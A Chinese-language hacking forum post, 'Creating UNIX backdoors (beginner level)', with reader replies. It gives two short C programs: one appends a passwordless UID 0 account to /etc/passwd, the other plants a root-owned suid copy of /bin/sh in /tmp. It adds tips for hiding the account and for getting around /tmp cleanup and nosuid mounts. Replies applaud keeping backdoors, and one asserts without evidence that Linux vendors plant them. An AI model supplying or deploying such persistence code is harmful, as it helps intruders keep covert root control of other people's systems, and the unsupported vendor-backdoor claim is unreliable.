创建UNIX后门(初级篇)

johnathine

最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做，因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。

<++> backdoor/backdoor1.c

#include

main()

{

FILE *fd;

fd=fopen("/etc/passwd","a+");

fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");

}

<-->



比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0，并将其第二个域（口令域）设为空。（注意，如果你使用的是较高版本的*nix，也许还要修改 /etc/shadow 文件。）



在 /tmp 目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时，或者每次启动都会清除 /tmp 目录下的数据，另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然，你可以自己修改或清除这些限制（因为你已是根用户，有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件）。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。



<++> backdoor/backdoor2.c

#include

main()

{

system("cp /bin/sh /tmp/fid");

system("chown root.root /tmp/fid");

system("chmod 4755 /tmp/fid");

}

<-->

leo

好的方法，可以试试！！是得留个后门！以便以后用得到！[emb6]

网路游侠

[emb7]

leo

大家多多交流吧！！

大卫王

我要好好学学，大侠们多提携提携小第啊[emb2]

零距离

我也是了啊[emb7]

零距离

linux是有后门的，大家小心了．听说各大开发商都留的有！

leo

自己要了解了解！！！

能开也能关